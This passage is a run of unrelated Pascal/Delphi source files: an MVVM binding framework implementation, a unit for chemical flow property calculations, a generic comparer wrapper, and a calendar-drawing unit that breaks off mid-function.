{$ENDREGION}
implementation
uses
MVVM.Core,
MVVM.Utils;
{ TBindingStrategyBase }
procedure TBindingStrategyBase.AddBinding(ABinding: IBinding);
begin
AdquireWrite;
try
//Utils.IdeDebugMsg('<TBindingStrategyBase.AddBinding> ID: ' + ABinding.ID);
FBindings.Add(ABinding);
finally
ReleaseWrite
end;
end;
procedure TBindingStrategyBase.AdquireRead;
begin
FSynchronizer.BeginRead;
end;
procedure TBindingStrategyBase.AdquireWrite;
begin
FSynchronizer.BeginWrite;
end;
function TBindingStrategyBase.BindsCount: Integer;
begin
AdquireRead;
try
Result := FBindings.Count
finally
ReleaseRead;
end;
end;
procedure TBindingStrategyBase.ClearBindings;
begin
AdquireWrite;
try
FBindings.Clear;
finally
ReleaseWrite;
end;
end;
constructor TBindingStrategyBase.Create;
begin
inherited;
FBindings := TCollections.CreateList<IBinding>;
end;
destructor TBindingStrategyBase.Destroy;
begin
ClearBindings;
FBindings := nil;
inherited;
end;
function TBindingStrategyBase.GetBindings: TBindingList;
begin
Result := FBindings;
end;
procedure TBindingStrategyBase.Notify(const AObject: TObject; const APropertiesNames: TArray<String>);
var
LValue: String;
begin
for LValue in APropertiesNames do
Notify(AObject, LValue);
end;
procedure TBindingStrategyBase.ReleaseRead;
begin
FSynchronizer.EndRead;
end;
procedure TBindingStrategyBase.ReleaseWrite;
begin
FSynchronizer.EndWrite;
end;
procedure TBindingStrategyBase.RemoveBinding(ABinding: IBinding);
begin
//Utils.IdeDebugMsg('<TBindingStrategyBase.RemoveBinding> ID: ' + ABinding.ID);
AdquireWrite;
try
FBindings.RemoveAll(
function(const AABinding: IBinding): Boolean
begin
Result := ABinding.ID = AABinding.ID;
end);
finally
ReleaseWrite
end;
end;
procedure TBindingStrategyBase.Start;
begin;
end;
{ TBindingBase }
constructor TBindingBase.Create;
begin
inherited Create;
FID := GUIDToString(TGuid.NewGuid);
FEnabled := ENABLED_STATE;
end;
destructor TBindingBase.Destroy;
begin
inherited;
end;
procedure TBindingBase.DoEnabled;
begin
//
end;
procedure TBindingBase.DoOnBindingAssignedValue(const AObject: TObject; const AProperty: String; const AValue: TValue);
begin
if Assigned(FOnBindingAssignedValueEvent) then
FOnBindingAssignedValueEvent(AObject, AProperty, AValue);
end;
procedure TBindingBase.DoDisabled;
begin
//
end;
function TBindingBase.GetEnabled: Boolean;
begin
FSynchronizer.BeginRead;
try
Result := (FEnabled = ENABLED_STATE)
finally
FSynchronizer.EndRead
end;
end;
function TBindingBase.GetID: string;
begin
Result := FID;
end;
function TBindingBase.GetOnBindingAssignedValueEvent: TOnBindingAssignedValueEvent;
begin
Result := FOnBindingAssignedValueEvent
end;
function TBindingBase.IsObjectInBinding(const AObject: TObject): Boolean;
begin
Result := False;
end;
procedure TBindingBase.SetEnabled(const AValue: Boolean);
begin
FSynchronizer.BeginWrite;
try
case AValue of
True:
begin
if (FEnabled > ENABLED_STATE) then
begin
Dec(FEnabled);
if (FEnabled = ENABLED_STATE) then
DoEnabled;
end;
end;
False:
begin
Inc(FEnabled);
if (FEnabled = DISABLED_ACTIONS_APPLY_ON_VALUE) then // only once
begin
DoDisabled;
end;
end;
end;
finally
FSynchronizer.EndWrite;
end;
end;
procedure TBindingBase.SetOnBindingAssignedValueEvent(AValue: TOnBindingAssignedValueEvent);
begin
FOnBindingAssignedValueEvent := AValue;
end;
{ TBindingDefault }
function TBindingDefault.CheckFreeChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean): Boolean;
begin
Result := True;
if not Supports(AObject, INotifyFree) then
begin
Result := False;
if ARaiseExceptionIfFalse then
raise Exception.Create('<INotifyFree> Interface not supported by object of class ' + AObject.QualifiedClassName);
end;
end;
function TBindingDefault.CheckPropertyChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean): Boolean;
begin
Result := True;
if not Supports(AObject, INotifyChangedProperty) then
begin
Result := False;
if ARaiseExceptionIfFalse then
raise Exception.Create('<INotifyChangedProperty> Interface not supported by object of class ' + AObject.QualifiedClassName);
end;
end;
function TBindingDefault.CheckPropertyTrackingChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean): Boolean;
begin
Result := True;
if not Supports(AObject, INotifyPropertyTrackingChanged) then
begin
Result := False;
if ARaiseExceptionIfFalse then
raise Exception.Create('<IPropertyChangedTrackingEvent> Interface not supported by object of class ' + AObject.QualifiedClassName);
end;
end;
constructor TBindingDefault.Create(ABindingStrategy: IBindingStrategy);
begin
inherited Create;
FInternalComponent := TFreeProxyComponent.Create(nil);
FInternalComponent.DoOnFreeNotification := Notification;
FTrackedInstances := TCollections.CreateSet<Pointer>;
FBindingStrategy := ABindingStrategy;
end;
destructor TBindingDefault.Destroy;
var
P: Pointer;
Instance: TObject;
begin
if (FTrackedInstances <> nil) then
begin
for P in FTrackedInstances do
begin
Instance := TObject(P);
RemoveFreeNotification(Instance);
end;
FTrackedInstances := nil;
end;
FInternalComponent.Free;
FBindingStrategy := nil;
FTrackedInstances := nil;
inherited;
end;
function TBindingDefault.GetBindingStrategy: IBindingStrategy;
begin
Result := FBindingStrategy
end;
// En teoría si llegamos aquí hay que destruir este binding, pues una parte del binding se ha destruido
procedure TBindingDefault.HandleFreeEvent(const ASender, AInstance: TObject);
begin
FSynchronizer.BeginWrite;
try
FTrackedInstances.Remove(AInstance);
finally
FSynchronizer.EndWrite;
end;
if Assigned(FBindingStrategy) then
begin
FBindingStrategy.RemoveBinding(Self);
FBindingStrategy := nil;
end;
end;
procedure TBindingDefault.HandleLeafPropertyChanged(const ASender: TObject; const APropertyName: String);
begin
//
end;
procedure TBindingDefault.HandlePropertyChanged(const ASender: TObject; const APropertyName: String);
begin
//
end;
procedure TBindingDefault.Notification(AComponent: TComponent);
begin
// inherited;
// if (Operation = opRemove) then
// begin
// Utils.IdeDebugMsg('<TBindingDefault.Notification> Name: ' + AComponent.Name);
HandleFreeEvent(AComponent, AComponent);
// end;
end;
procedure TBindingDefault.RemoveFreeNotification(const AInstance: TObject);
begin
if (AInstance is TComponent) then
FInternalComponent.UnSubscribeFromObject(AInstance);
// TComponent(AInstance).RemoveFreeNotification(Self);
end;
procedure TBindingDefault.SetFreeNotification(const AInstance: TObject);
var
[weak]
LNotifyFree: INotifyFree;
begin
if (AInstance is TComponent) then
begin
FSynchronizer.BeginWrite;
try
FTrackedInstances.Add(AInstance);
finally
FSynchronizer.EndWrite;
end;
FInternalComponent.SubscribeToObject(AInstance);
// TComponent(AInstance).FreeNotification(Self);
end
else if Supports(AInstance, INotifyFree, LNotifyFree) then
begin
FSynchronizer.BeginWrite;
try
FTrackedInstances.Add(AInstance);
LNotifyFree.OnFreeEvent.Add(HandleFreeEvent);
finally
FSynchronizer.EndWrite;
end;
end;
end;
procedure TBindingDefault.SetManager(const AInstance: TObject);
var
[weak]
LNotifyProperty: INotifyChangedProperty;
[weak]
LNotifyPropertyTracking: INotifyPropertyTrackingChanged;
[weak]
LNotifyCollection: INotifyCollectionChanged;
LManager: IStrategyEventedObject;
begin
if Supports(AInstance, INotifyChangedProperty, LNotifyProperty) then
begin
LManager := LNotifyProperty.Manager;
if LManager = nil then
begin
LManager := TStrategyEventedObject.Create(AInstance);
LNotifyProperty.Manager := LManager;
end;
LManager.BindingStrategy := FBindingStrategy;
end;
if Supports(AInstance, INotifyPropertyTrackingChanged, LNotifyPropertyTracking) then
begin
LManager := LNotifyPropertyTracking.Manager;
if LManager = nil then
begin
LManager := TStrategyEventedObject.Create(AInstance);
LNotifyPropertyTracking.Manager := LManager;
end;
LManager.BindingStrategy := FBindingStrategy;
end;
if Supports(AInstance, INotifyCollectionChanged, LNotifyCollection) then
begin
LManager := LNotifyCollection.Manager;
if LManager = nil then
begin
LManager := TStrategyEventedObject.Create(AInstance);
LNotifyCollection.Manager := LManager;
end;
LManager.BindingStrategy := FBindingStrategy;
end;
end;
{ TBindingCommandBase<T> }
constructor TBindingCommandBase<T>.Create(ACommand: T; ACanExecute: TCanExecuteMethod);
begin
inherited Create;
FCommand := ACommand;
FCanExecute := ACanExecute;
end;
function TBindingCommandBase<T>.GetCommand: T;
begin
Result := FCommand
end;
procedure TBindingCommandBase<T>.SetCommand(const AValue: T);
begin
FCommand := AValue;
end;
{ TStrategyEventedObject }
procedure TStrategyEventedObject.CheckObjectHasCollectionChangedInterface;
begin
Guard.CheckTrue(Supports(FObject, INotifyCollectionChanged));
end;
procedure TStrategyEventedObject.CheckObjectHasFreeInterface;
begin
Guard.CheckTrue(Supports(FObject, INotifyFree));
end;
procedure TStrategyEventedObject.CheckObjectHasPropertyChangedInterface;
begin
Guard.CheckTrue(Supports(FObject, INotifyChangedProperty));
end;
procedure TStrategyEventedObject.CheckObjectHasPropertyChangedTrackingInterface;
begin
Guard.CheckTrue(Supports(FObject, INotifyPropertyTrackingChanged));
end;
constructor TStrategyEventedObject.Create(AObject: TObject);
begin
Guard.CheckNotNull(AObject, '(Param=AObject) is null');
inherited Create;
FObject := AObject;
FBindingStrategy := MVVMCore.DefaultBindingStrategy;
end;
constructor TStrategyEventedObject.Create(ABindingStrategy: IBindingStrategy; AObject: TObject);
begin
Guard.CheckNotNull(ABindingStrategy, '(Param=ABindingStrategy) is null');
Guard.CheckNotNull(AObject, '(Param=AObject) is null');
inherited Create;
FObject := AObject;
FBindingStrategy := ABindingStrategy;
end;
destructor TStrategyEventedObject.Destroy;
begin
FBindingStrategy := nil;
inherited;
end;
function TStrategyEventedObject.GetBindingStrategy: IBindingStrategy;
begin
Result := FBindingStrategy
end;
function TStrategyEventedObject.GetOnCollectionChangedEvent: IChangedCollectionEvent;
begin
if (FOnCollectionChangedEvent = nil) then
begin
CheckObjectHasCollectionChangedInterface;
FOnCollectionChangedEvent := Utils.CreateEvent<TCollectionChangedEvent>;
end;
Result := FOnCollectionChangedEvent;
end;
function TStrategyEventedObject.GetOnFreeEvent: IFreeEvent;
begin
if (FOnFreeEvent = nil) then
begin
CheckObjectHasFreeInterface;
FOnFreeEvent := Utils.CreateEvent<TNotifyFreeObjectEvent>;
end;
Result := FOnFreeEvent;
end;
function TStrategyEventedObject.GetOnPropertyChangedEvent: IChangedPropertyEvent;
begin
if (FOnPropertyChangedEvent = nil) then
begin
CheckObjectHasPropertyChangedInterface;
FOnPropertyChangedEvent := Utils.CreateEvent<TNotifySomethingChangedEvent>;
end;
Result := FOnPropertyChangedEvent;
end;
function TStrategyEventedObject.GetOnPropertyChangedTrackingEvent: IPropertyChangedTrackingEvent;
begin
if (FOnPropertyChangedTrackingEvent = nil) then
begin
CheckObjectHasPropertyChangedTrackingInterface;
FOnPropertyChangedTrackingEvent := Utils.CreateEvent<TNotifySomethingChangedEvent>;
end;
Result := FOnPropertyChangedTrackingEvent;
end;
function TStrategyEventedObject.IsAssignedCollectionChangedEvent: Boolean;
begin
Result := Assigned(FOnCollectionChangedEvent)
end;
function TStrategyEventedObject.IsAssignedFreeEvent: Boolean;
begin
Result := Assigned(FOnFreeEvent)
end;
function TStrategyEventedObject.IsAssignedPropertyChangedEvent: Boolean;
begin
Result := Assigned(FOnPropertyChangedEvent)
end;
function TStrategyEventedObject.IsAssignedPropertyChangedTrackingEvent: Boolean;
begin
Result := Assigned(FOnPropertyChangedTrackingEvent)
end;
procedure TStrategyEventedObject.NotifyFreeEvent(const ASender, AInstance: TObject);
begin
if IsAssignedFreeEvent then
FOnFreeEvent.Invoke(ASender, AInstance);
end;
procedure TStrategyEventedObject.NotifyPropertyChanged(const ASender: TObject; const APropertyName: String);
begin
if IsAssignedPropertyChangedEvent then
FOnPropertyChangedEvent.Invoke(ASender, APropertyName);
end;
procedure TStrategyEventedObject.NotifyPropertyTrackingChanged(const ASender: TObject; const APropertyName: String);
begin
if IsAssignedPropertyChangedTrackingEvent then
FOnPropertyChangedTrackingEvent.Invoke(ASender, APropertyName);
end;
procedure TStrategyEventedObject.SetBindingStrategy(ABindingStrategy: IBindingStrategy);
begin
FBindingStrategy := ABindingStrategy;
end;
{ TBindingCommandBase }
function TBindingCommandBase.CanExecute: Boolean;
begin
Result := Enabled;
if Result then
begin
if Assigned(FCanExecute) then
Result := FCanExecute;
end;
end;
{ TFreeProxyComponent }
procedure TFreeProxyComponent.Notification(AComponent: TComponent; Operation: TOperation);
begin
inherited;
if (Operation = opRemove) then
begin
//Utils.IdeDebugMsg('<TBindingDefault.Notification> Name: ' + AComponent.Name);
FProc(AComponent);
end;
end;
procedure TFreeProxyComponent.SubscribeToObject(const AObject: TObject);
begin
TComponent(AObject).FreeNotification(Self);
end;
procedure TFreeProxyComponent.UnSubscribeFromObject(const AObject: TObject);
begin
TComponent(AObject).RemoveFreeNotification(Self);
end;
end.
|
unit URegularFunctions;
interface
uses UConst;
function normalize(x: array of real): array of real;
function convert_mass_to_volume_fractions(mass_fractions: array of real;
density: array of real := UConst.DeNSITIES): array of real;
function convert_mass_to_mole_fractions(mass_fractions: array of real;
mass: array of real := UConst.MR): array of real;
function get_flow_density(mass_fractions: array of real;
density: array of real := UConst.DENSITIES): real;
function get_flow_molar_mass(mass_fractions: array of real;
mass: array of real := UConst.MR): real;
function get_flow_heat_capacity(mass_fractions: array of real; temperature: real;
coeffs: array of array of real := UConst.HEATCAPACITYCOEFFS): real;
implementation
function normalize(x: array of real): array of real;
begin
var s := x.Sum;
result := ArrFill(x.Length, 0.0);
foreach var i in x.Indices do
result[i] := x[i] / s
end;
function convert_mass_to_volume_fractions(mass_fractions: array of real;
density: array of real): array of real;
begin
var s := 0.0;
result := ArrFill(mass_fractions.Length, 0.0);
foreach var i in mass_fractions.Indices do
s += mass_fractions[i] / density[i];
foreach var i in mass_fractions.Indices do
result[i] := mass_fractions[i] / density[i] / s
end;
function convert_mass_to_mole_fractions(mass_fractions: array of real;
mass: array of real): array of real;
begin
var s := 0.0;
result := ArrFill(mass_fractions.Length, 0.0);
foreach var i in mass_fractions.Indices do
s += mass_fractions[i] / mass[i];
foreach var i in mass_fractions.Indices do
result[i] := mass_fractions[i] / mass[i] / s
end;
function get_flow_density(mass_fractions: array of real;
density: array of real): real;
begin
result := 0.0;
foreach var i in mass_fractions.Indices do
result += mass_fractions[i] / density[i];
result := 1 / result
end;
function get_flow_molar_mass(mass_fractions: array of real;
mass: array of real): real;
begin
result := 0.0;
foreach var i in mass_fractions.Indices do
result += mass_fractions[i] / mass[i];
result := 1 / result
end;
function get_flow_heat_capacity(mass_fractions: array of real; temperature: real;
coeffs: array of array of real): real;
begin
var cpi := ArrFill(mass_fractions.Length, 0.0);
foreach var i in coeffs.Indices do
foreach var j in coeffs[i].Indices do
cpi[i] += (j+1) * coeffs[i][j] * temperature ** j;
result := 0.0;
foreach var i in mass_fractions.Indices do
result += mass_fractions[i] * cpi[i]
end;
end. |
unit DSA.Interfaces.Comparer;
interface
uses
System.Generics.Defaults;
type
IComparer<T> = interface
['{E7B0E421-33B7-4BF7-8490-7DBFA040BE94}']
function Compare(const Left, Right: T): integer;
end;
TComparer<T> = class(TInterfacedObject, IComparer<T>)
private
__c: System.Generics.Defaults.IComparer<T>;
public
function Compare(const Left, Right: T): integer;
constructor Default;
end;
implementation
{ TComparer<T> }
constructor TComparer<T>.Default;
begin
__c := System.Generics.Defaults.TComparer<T>.Default;
end;
function TComparer<T>.Compare(const Left, Right: T): integer;
begin
Result := __c.Compare(Left, Right);
end;
end.
|
{*************************************************************
Author: Stéphane Vander Clock (SVanderClock@Arkadia.com)
www: http://www.arkadia.com
EMail: SVanderClock@Arkadia.com
product: DrawCalendar function
Version: 3.05
Description: Functions to draw a calendar on a canvas
Legal issues: Copyright (C) 1999-2005 by Arkadia Software Engineering
This software is provided 'as-is', without any express
or implied warranty. In no event will the author be
held liable for any damages arising from the use of
this software.
Permission is granted to anyone to use this software
for any purpose, including commercial applications,
and to alter it and redistribute it freely, subject
to the following restrictions:
1. The origin of this software must not be
misrepresented, you must not claim that you wrote
the original software. If you use this software in
a product, an acknowledgment in the product
documentation would be appreciated but is not
required.
2. Altered source versions must be plainly marked as
such, and must not be misrepresented as being the
original software.
3. This notice may not be removed or altered from any
source distribution.
4. You must register this software by sending a picture
postcard to the author. Use a nice stamp and mention
your name, street address, EMail address and any
comment you like to say.
Know bug :
History :
Link :
Please send all your feedback to SVanderClock@Arkadia.com
**************************************************************}
unit ALCalendar;
interface
uses Windows,
types,
Graphics,
SysUtils,
controls;
Type
{--------------}
TDaybox = Record
R : Trect;
BackgroundColor : Tcolor;
FontColor : Tcolor;
end;
TLstDayBox = array of TDayBox;
{******************************}
Function DrawCalendar(C:Tcanvas;
Font, HeaderFont, disableFont:Tfont;
Color, HeaderColor, BorderColorLo, BorderColorHi : Tcolor;
Year : Integer;
FormatSettings: TformatSettings;
Var WCalendar : Integer;
Var HCalendar : Integer;
Var LstDayBox: TLstdayBox): Boolean;
implementation
uses dateutils,
ALFcnString;
{********************************************************************************************}
Procedure DrawCalendarBox(Text: String; BackColor, FontColor : Tcolor; Rect:Trect; C:TCanvas);
Var Wt,Ht,xt,yt: Integer;
R: Trect;
Begin
R := rect;
inflateRect(r,-1,-1);
R.Bottom := R.Bottom + 1;
r.Right := r.Right + 1;
C.Brush.Color := BackColor;
C.FillRect(R);
c.Font.Color := FontColor;
wt := c.Textwidth(Text);
ht := c.Textheight(Text);
xt := rect.Right - wt -1;
yt := rect.top + ((rect.bottom - rect.top - ht) div 2);
c.TextOut(xt,yt,text);
end;
{*************************************************************************************************************************************************************************}
Procedure DrawCalendarHeader(Month1,Month2,Month3,Year : String; R: TRect; C: TCanvas; W1Calendar, HHeader1 : Integer; HeaderColor, BorderColorLo, BorderColorHi : Tcolor);
Var xt, yt, wt, ht: Integer;
Begin
c.Brush.Color := HeaderColor;
c.FillRect(r);
{--Ligne du bas-------------}
c.Pen.Color := BorderColorLo;
C.MoveTo(r.Left, r.Bottom);
C.LineTo(r.Right,r.Bottom);
{--Separateur1--------------------------}
C.MoveTo(r.left + W1Calendar, r.Top + 1);
C.LineTo(r.left + W1Calendar, r.Top + HHeader1 - 1);
c.Pen.Color := BorderColorHi;
C.MoveTo(r.left + W1Calendar+1,r.Top + 1);
C.LineTo(r.Left + W1Calendar+1,r.Top + HHeader1 - 1);
{--Separateur2--------------}
c.Pen.Color := BorderColorLo;
C.MoveTo(r.left + 2*W1Calendar + 2, r.Top + 1);
C.LineTo(r.left + 2*W1Calendar + 2, r.Top + HHeader1 - 1);
c.Pen.Color := BorderColorHi;
C.MoveTo(r.left + 2*W1Calendar + 3, r.Top + 1);
C.LineTo(r.left + 2*W1Calendar + 3, r.Top + HHeader1 - 1);
{--Month1---------------}
ht := c.TextHeight('^_');
wt := c.Textwidth(Month1 + ' ' + year);
xt := R.left + ((W1Calendar - wt) div 2);
yt := R.Top + ((HHeader1 - ht) div 2);
C.TextOut(xt,yt,Month1 + ' ' + year);
{--Month2-----------------------------}
wt := c.Textwidth(Month2 + ' ' + year);
xt := r.left + W1Calendar + 2 + ((W1Calendar - wt) div 2);
C.TextOut(xt,yt,Month2 + ' ' + year);
{--Month3-----------------------------}
wt := c.Textwidth(Month3 + ' ' + year);
xt := r.left + 2*(W1Calendar + 2) + ((W1Calendar - wt) div 2);
C.TextOut(xt,yt,Month3 + ' ' + year);
end;
{**************************************************************************************************************************************************************************}
Procedure DrawCalendarHeaderDay(Day1,Day2,Day3,Day4,Day5,Day6,Day7 : String; Wblank, Yheader, wbox, hbox:Integer; C: TCanvas; BackColor, FontColor, BorderColorLo : Tcolor);
Var r : Trect;
Begin
r := rect(Wblank,Yheader,Wblank + wbox,Yheader + hbox);
DrawCalendarBox(Day1, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day2, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day3, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day4, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day5, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day6, BackColor, FontColor, R, C);
r := rect(r.Right,Yheader,r.Right+wbox,Yheader + hbox);
DrawCalendarBox(Day7, BackColor, FontColor, R, C);
c.Pen.Color := BorderColorLo;
C.MoveTo(wblank, Yheader + hbox-1);
C.LineTo(Wblank + 7*wbox,Yheader + hbox-1);
end;
{*************************************************************************************************}
Procedure CalculateDayBoxRect(Year, Wblank, HeaderHeight, Wbox, Hbox, wborder, W1calendar: Integer;
Var LstdayBox: TLstDayBox;
Var YHeader2, YHeader3, YHeader4, bottom : Integer);
Var Dt: Tdate;
xSamedi, xDimanche, xLundi, xMardi, xMercredi, xJeudi, xVendredi : Integer;
Month : Integer;
i : integer;
YDay : Integer;
Procedure UpdateXday(_Wblank : Integer);
Begin
xSamedi := _wblank;
xDimanche := _wblank + wbox;
xLundi := _wblank + wbox*2;
xMardi := _wblank + wbox*3;
xMercredi := _wblank + wbox*4;
xJeudi := _wblank + wbox*5;
xVendredi := _wblank + wbox*6;
end;
Begin
setlength(LstDayBox,daysInAyear(year));
Dt := encodeDate(year,1,1);
Yday := HeaderHeight;
UpdateXday(Wblank);
YHeader2 := 0;
YHeader3 := 0;
YHeader4 := 0;
Month := 1;
For i := 0 to high(lstdaybox) do begin
case DayOfTheWeek(dt) of
DayMonday : LstDayBox[i].R := Rect(xLundi,Yday,xLundi + wbox, Yday + HBox);
DayTuesday : LstDayBox[i].R := Rect(xMardi,Yday,xMardi + wbox, Yday + HBox);
DayWednesday : LstDayBox[i].R := Rect(xMercredi,Yday,xMercredi + wbox, Yday + HBox);
DayThursday : LstDayBox[i].r := Rect(xJeudi,Yday,xJeudi + wbox, Yday + HBox);
DayFriday : begin
LstDayBox[i].R := Rect(xVendredi,Yday,xVendredi + wbox, Yday + HBox);
inc(yday,HBox);
end;
DaySaturday : LstDayBox[i].r := Rect(xSamedi,Yday,xSamedi + wbox, Yday + HBox);
DaySunday : LstDayBox[i].r := Rect(xDimanche,Yday,xDimanche + wbox, Yday + HBox);
end;
Dt := Dt+1;
If month <> MonthOF(Dt) then begin
Month := MonthOF(Dt);
Case Month of
2 : begin
UpdateXday(Wblank + wborder + W1calendar);
YHeader2 := LstdayBox[i].R.Bottom;
Yday := HeaderHeight;
end;
3 : begin
UpdateXday(Wblank + 2*(Wborder + W1calendar));
if LstdayBox[i].r.Bottom > YHeader2 then YHeader2 := LstdayBox[i].R.Bottom;
Yday := HeaderHeight;
end;
4 : begin
UpdateXday(Wblank);
if LstdayBox[i].R.Bottom > YHeader2 then YHeader2 := LstdayBox[i].R.Bottom;
YHeader2 := YHeader2 + 5;
Yday := YHeader2 + HeaderHeight;
end;
5 : begin
UpdateXday(Wblank + wborder + W1calendar);
YHeader3 := LstdayBox[i].R.Bottom;
Yday := YHeader2 + HeaderHeight;
end;
6 : begin
UpdateXday(Wblank + 2*(Wborder + W1calendar));
if LstdayBox[i].R.Bottom > YHeader3 then YHeader3 := LstdayBox[i].R.Bottom;
Yday := YHeader2 + HeaderHeight;
end;
7 : begin
UpdateXday(Wblank);
If LstdayBox[i].R.Bottom > YHeader3 then YHeader3 := LstdayBox[i].R.Bottom;
YHeader3 := YHeader3 + 5;
Yday := YHeader3 + HeaderHeight;
end;
8 : begin
UpdateXday(Wblank + wborder + W1calendar);
YHeader4 := LstdayBox[i].R.Bottom;
Yday := YHeader3 + HeaderHeight;
end;
9 : begin
UpdateXday(Wblank + 2*(Wborder + W1calendar));
if LstdayBox[i].R.Bottom > YHeader4 then YHeader4 := LstdayBox[i].R.Bottom;
Yday := YHeader3 + HeaderHeight;
end;
10 : begin
UpdateXday(Wblank);
If LstdayBox[i].R.Bottom > YHeader4 then YHeader4 := LstdayBox[i].R.Bottom;
YHeader4 := YHeader4 + 5;
Yday := YHeader4 + HeaderHeight;
end;
11 : begin
UpdateXday(Wblank + wborder + W1calendar);
Yday := YHeader4 + HeaderHeight;
Bottom := LstdayBox[i].R.Bottom;
end;
12 : begin
UpdateXday(Wblank + 2*(Wborder + W1calendar));
Yday := YHeader4 + HeaderHeight;
if LstdayBox[i].R.Bottom > Bottom then Bottom := LstdayBox[i].R.Bottom;
end;
end;
end;
end;
if LstdayBox[high(LstdayBox)].R.Bottom > Bottom then Bottom := LstdayBox[high(LstdayBox)].R.Bottom;
end;
{******************************}
Function DrawCalendar(C:Tcanvas;
Font, HeaderFont, disableFont:Tfont;
Color, HeaderColor, BorderColorLo, BorderColorHi : Tcolor;
Year : Integer;
FormatSettings: TformatSettings;
Var WCalendar : Integer;
Var HCalendar : Integer;
Var LstDayBox: TLstdayBox): Boolean;
Var R : Trect;
HBox,WBox: Integer;
i: Integer;
Jour, GrayJour : Tdate;
Wblank : Integer;
YHeader2,YHeader3,YHeader4 : Integer;
HHeader1, Hheader2 : Integer;
w1calendar : Integer;
CalchCalendar : Integer;
DisableFontColor : Tcolor;
begin
{---init des valeurs utilisé----}
Result := True;
with FormatSettings do begin
For i := 1 to 12 do begin
LongMonthNames[i] := ALLowercase(LongMonthNames[i]);
LongMonthNames[i][1] := Upcase(LongMonthNames[i][1]);
end;
For i := 1 to 7 do LongDayNames[i][1] := Upcase(LongDayNames[i][1]);
end;
If assigned(Font) then c.Font.Assign(Font)
else begin
c.Font.Color := ClBlack;
C.Font.Name := 'Ms Sans Sherif';
C.Font.Size := 8;
end;
Hbox := c.TextHeight('^_') + 2;
wbox := c.Textwidth('__') + 4;
If assigned(HeaderFont) then c.Font.Assign(HeaderFont);
Hheader1 := c.TextHeight('^_') + 2;
Hheader2 := Hbox;
W1Calendar := (wcalendar - 4) div 3;
Wblank := ((W1Calendar - (7*wbox)) div 2);
if wblank <> 7 then begin
Result := False;
Wcalendar := 3*7*wbox + 3*14 + 4;
exit;
end;
CalculateDayBoxRect(Year, Wblank, Hheader1+hheader2 + 1, Wbox, Hbox, 2, w1calendar, LstdayBox, YHeader2, YHeader3, YHeader4, CalcHCalendar);
if CalcHCalendar + 2 <> HCalendar then begin
Result := False;
Hcalendar := CalcHCalendar + 2;
exit;
end;
If assigned(DisableFont) then DisableFontColor := DisableFont.Color
Else DisableFontColor := ClSilver;
{--- On dessine les header1------}
R := Rect(0,0,Wcalendar,Hheader1);
with FormatSettings do begin
DrawCalendarHeader(LongMonthNames[1],LongMonthNames[2],LongMonthNames[3],inttostr(year), R, C, W1Calendar, Hheader1, HeaderColor, BorderColorLo, BorderColorHi);
R := Rect(0,YHeader2,wcalendar,YHeader2+Hheader1);
DrawCalendarHeader(LongMonthNames[4],LongMonthNames[5],LongMonthNames[6],inttostr(year), R, C, W1Calendar, Hheader1, HeaderColor, BorderColorLo, BorderColorHi);
R := Rect(0,YHeader3,wcalendar,YHeader3 + Hheader1);
DrawCalendarHeader(LongMonthNames[7],LongMonthNames[8],LongMonthNames[9],inttostr(year), R, C, W1Calendar, Hheader1, HeaderColor, BorderColorLo, BorderColorHi);
R := Rect(0,YHeader4,wcalendar,YHeader4 + Hheader1);
DrawCalendarHeader(LongMonthNames[10],LongMonthNames[11],LongMonthNames[12],inttostr(year), R, C, W1Calendar, Hheader1, HeaderColor, BorderColorLo, BorderColorHi);
end;
{--- On dessine les header2--------------}
If assigned(Font) then c.Font.Assign(Font)
else begin
c.Font.Color := ClBlack;
C.Font.Name := 'Ms Sans Sherif';
C.Font.Size := 8;
end;
with FormatSettings Do begin
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank, hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + W1Calendar + 2, hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + 2*(W1Calendar + 2), hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank, YHeader2 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + W1Calendar + 2, YHeader2 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank + 2*(W1Calendar + 2), YHeader2 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
DrawCalendarHeaderDay(LongDayNames[7][1],LongDayNames[1][1],LongDayNames[2][1],LongDayNames[3][1],LongDayNames[4][1],LongDayNames[5][1],LongDayNames[6][1], Wblank, YHeader3 + hheader1, wbox, hbox, C, Color, c.Font.Color, BorderColorLo);
